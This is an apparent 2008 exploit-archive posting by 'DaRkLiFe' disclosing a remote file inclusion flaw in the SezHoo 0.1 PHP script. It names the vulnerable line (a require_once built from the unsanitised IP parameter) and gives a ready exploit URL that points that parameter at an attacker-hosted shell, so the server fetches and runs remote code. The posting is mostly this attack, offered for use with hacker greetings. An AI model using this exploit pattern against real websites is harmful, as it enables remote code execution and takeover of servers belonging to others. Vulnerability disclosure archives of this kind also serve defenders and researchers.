[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SezHoo 0.1 (IP) Remote File Inclusion Vulnerability
# Published : 2008-10-14
# Author : DaRkLiFe
# Previous Title : Galerie 3.2 (pic) WBB Lite Addon Blind SQL Injection Exploit
# Next Title : My PHP Dating (success_story.php id) SQL Injection Vulnerability 


**************************************************************************************

Author : DaRkLiFe
Greetz : str0ke & S.W.A.T. & funkys0ul

**************************************************************************************
Script   :

SezHoo 0.1 Remote File Inclusion Vulnerability

Download:

http://downloads.sourceforge.net/sezhoo/sezhoo.tar.gz?modtime=1220554562&big_mirror=0

**************************************************************************************

Exploit :

http://site.com/sezhoo/SezHooTabsAndActions.php?IP=Sh3lLz?

**************************************************************************************

Vulnerable : line 21 : require_once( "$IP/includes/Defines.php" );

**************************************************************************************

THANKS ! GREETZ ! HAPPY DIWALI !
**************************************************************************************

# www.Syue.com [2008-10-14]